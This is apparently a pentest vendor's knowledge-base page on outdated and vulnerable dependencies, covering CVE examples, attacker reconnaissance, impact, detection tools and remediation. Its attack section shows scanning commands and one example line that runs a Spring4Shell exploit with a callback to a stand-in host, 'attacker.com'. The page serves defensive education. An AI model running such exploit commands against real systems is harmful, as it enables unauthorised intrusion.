SecureBlockLog inStart a pentest
Vulnerability Repository
HighSupply Chain

Outdated and Vulnerable Dependencies

Third-party libraries with known CVEs remain in production, providing attackers with documented exploitation techniques and public proof-of-concept code against your live system.

CVSS 8.1CWE CWE-1104OWASP A06:2021 — Vulnerable and Outdated Components

Description

Outdated and vulnerable dependencies represent one of the most pervasive risks in modern software. Every application depends on dozens to hundreds of third-party libraries, each carrying its own vulnerability history. When a CVE is published for a component, the vendor releases an advisory that includes a description of the flaw, affected versions, and often a proof-of-concept exploit — all of which are immediately available to attackers. Organisations that do not maintain a continuous patching cadence are running known-exploitable code with publicly available attack techniques.

CWE-1104 — Use of Unmaintained Third-Party Components captures the broad risk of relying on software that is no longer actively maintained or patched. A06:2021 — Vulnerable and Outdated Components in the OWASP Top 10 is one of the few categories based directly on data from real-world breaches, reflecting that this is not a theoretical risk but one of the most exploited vulnerability classes in production environments.

The Equifax breach in 2017, which exposed 147 million consumer records, was caused by an unpatched Apache Struts vulnerability (CVE-2017-5638) for which a patch had been available for two months. The Log4Shell vulnerability (CVE-2021-44228) in Log4j affected millions of applications globally, many of which remained unpatched months after disclosure.

How It Works

An attacker assessing a target application uses several techniques to enumerate its dependency stack:

Technology fingerprinting — HTTP response headers (X-Powered-By, Server), error pages, and JavaScript bundle filenames often reveal framework names and versions directly.

JavaScript bundle analysis — tools like retire.js scan client-side JavaScript bundles for known vulnerable library signatures:

retire --path ./dist/
# Identified library: jquery 1.11.1 (CVE-2019-11358 — prototype pollution)
# Identified library: lodash 3.10.1 (CVE-2021-23337 — command injection via template)

Dependency manifest exposure — accessible package.json, composer.json, requirements.txt, or pom.xml files provide an exact dependency inventory for cross-referencing against vulnerability databases.

Server-side scanning — tools like nuclei with CVE templates probe specific vulnerability signatures:

nuclei -u https://target.example.com -t cves/ -severity critical,high

Once a specific CVE is confirmed, an attacker retrieves the public PoC exploit from GitHub, ExploitDB, or Packet Storm and executes it directly against the vulnerable version:

# Example: exploiting Spring4Shell (CVE-2022-22965)
python3 spring4shell_exploit.py --target https://target.example.com/upload --lhost attacker.com

Impact

  • Remote code execution — high-severity vulnerabilities in web frameworks (Spring, Struts, Laravel) frequently result in unauthenticated RCE.
  • Authentication bypass — vulnerabilities in authentication middleware or JWT libraries can allow attackers to bypass login without valid credentials.
  • Denial of service — resource exhaustion vulnerabilities in parsing libraries (XML parsers, JSON libraries, regex engines) can be triggered to take services offline.
  • Data exposure — information disclosure vulnerabilities in logging, serialisation, or error handling libraries can leak sensitive data.
  • Supply chain compromise — if a dependency is abandoned or its maintainer account is compromised, malicious updates can be pushed to all consuming applications.

Detection

  1. Run software composition analysis (SCA) tools — execute npm audit, pip-audit, bundle audit, or mvn dependency:analyze in CI to enumerate known CVEs in the current dependency tree including transitive dependencies.
  2. Integrate Dependabot or Snyk — enable automated pull requests for security patches. Configure severity thresholds to require immediate remediation of critical and high findings.
  3. Scan JavaScript bundles with retire.js — run against both the build output and any third-party JavaScript loaded from CDNs.
  4. Check SBOM completeness — generate a Software Bill of Materials using syft or cyclonedx-npm and cross-reference against the NIST NVD for all listed components.
  5. Fingerprint server-side components — use wappalyzer and whatweb to identify server-side framework versions and cross-reference against their CVE history.

Remediation

Establish a continuous dependency patching programme. Assign ownership for dependency updates. Critical CVEs should be patched within 24-72 hours of disclosure; high within 7 days. Treat dependency updates as regular engineering work, not an optional maintenance task.

Enable automated dependency update PRs. Configure Dependabot (GitHub), Renovate Bot, or Snyk to open automated PRs for security patches. This makes patching a pull-request approval workflow rather than a manual discovery and update process.

Pin exact dependency versions in lockfiles. Commit package-lock.json, yarn.lock, poetry.lock, or Gemfile.lock to version control. This ensures reproducible builds and prevents silent version upgrades that could introduce new vulnerabilities.

Remove unused dependencies. Run depcheck (Node.js), pipdeptree, or equivalent to identify and remove packages that are no longer used. Every unused dependency is an attack surface with no corresponding benefit.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping